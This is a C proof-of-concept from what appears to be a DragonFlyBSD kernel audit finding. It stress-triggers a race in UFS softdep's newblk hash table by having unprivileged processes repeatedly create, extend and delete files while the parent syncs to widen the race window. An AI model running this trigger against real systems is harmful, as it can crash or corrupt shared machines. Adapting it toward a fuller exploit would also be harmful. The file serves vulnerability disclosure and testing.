DragonFlyBSD Kernel Audit
DF-2990 / churn.c
← back to finding ↓ download raw
/*
 * DF-2990 - UFS softdep newblk hash race stress (trigger only).
 *
 * Races softdep_setup_blkmapdep()  [lock-free LIST_INSERT_HEAD into
 * newblk_hashtbl, ffs_softdep.c:1032] against softdep_setup_allocdirect()
 * / setup_allocindir_phase2() [LIST_REMOVE from the same chains under the
 * softdep lock, ffs_softdep.c:1317/1633] by running many processes that
 * continuously allocate, extend and delete files on a softdep UFS mount.
 *
 * Unprivileged: run as a normal user on a root-mounted softdep UFS fs.
 */
#include <sys/stat.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>

#define NPROC	10
#define BSIZE	16384		/* default ffs block size for newfs */
#define FSIZE	2048		/* default frag size (frag alloc path) */
#define NBLKS	24		/* blocks per big file (384KB) */

static void
worker(const char *dir, int id, int secs)
{
	char sub[512], fn[512], fn2[512];
	char *big, *small;
	unsigned long iter = 0;
	time_t end = time(NULL) + secs;

	snprintf(sub, sizeof(sub), "%s/w%d", dir, id);
	mkdir(sub, 0777);
	big = malloc(BSIZE);
	small = malloc(FSIZE);
	memset(big, 'A' + id, BSIZE);
	memset(small, 'a' + id, FSIZE);

	while (time(NULL) < end) {
		/*
		 * A: create a 1MB file one block per write -> 64
		 * (newblk insert in blkmapdep + remove in allocdirect) pairs.
		 */
		snprintf(fn, sizeof(fn), "%s/f%lu", sub, iter % 8);
		int fd = open(fn, O_CREAT | O_WRONLY | O_TRUNC, 0666);
		if (fd >= 0) {
			for (int b = 0; b < NBLKS; b++)
				write(fd, big, BSIZE);
			close(fd);
		}
		/* B: frag-sized create + unlink (ffs_alloccg frag path) */
		snprintf(fn2, sizeof(fn2), "%s/d%lu", sub, iter % 8);
		fd = open(fn2, O_CREAT | O_WRONLY | O_TRUNC, 0666);
		if (fd >= 0) {
			write(fd, small, FSIZE);
			close(fd);
			unlink(fn2);
		}
		/* C: recycle the big file's blocks back into the allocator */
		unlink(fn);
		/* D: directory churn (dir blocks go through the same paths) */
		if ((iter & 7) == 0) {
			char dn[512];
			snprintf(dn, sizeof(dn), "%s/m%lu", sub, iter % 3);
			if (mkdir(dn, 0777) == 0)
				rmdir(dn);
		}
		iter++;
	}
	_exit(0);
}

int
main(int argc, char **argv)
{
	const char *dir = argc > 1 ? argv[1] : ".";
	int secs = argc > 2 ? atoi(argv[2]) : 600;
	int i, status;

	fprintf(stderr, "df2990 churn: dir=%s procs=%d secs=%d\n",
	    dir, NPROC, secs);
	for (i = 0; i < NPROC; i++) {
		pid_t pid = fork();
		if (pid == 0)
			worker(dir, i, secs);
	}
	/*
	 * Parent: periodic sync to (a) keep softdep block recycling ahead
	 * of the churn so we never hit ENOSPC, and (b) generate big async
	 * write-completion interrupt storms - interrupts preempting a CPU
	 * between the insert stores of newblk_lookup stretch the race
	 * window to interrupt-service time.
	 */
	for (i = 0; i < secs / 2; i++) {
		sleep(2);
		sync();
	}
	for (i = 0; i < NPROC; i++)
		wait(&status);
	fprintf(stderr, "df2990 churn: done\n");
	return (0);
}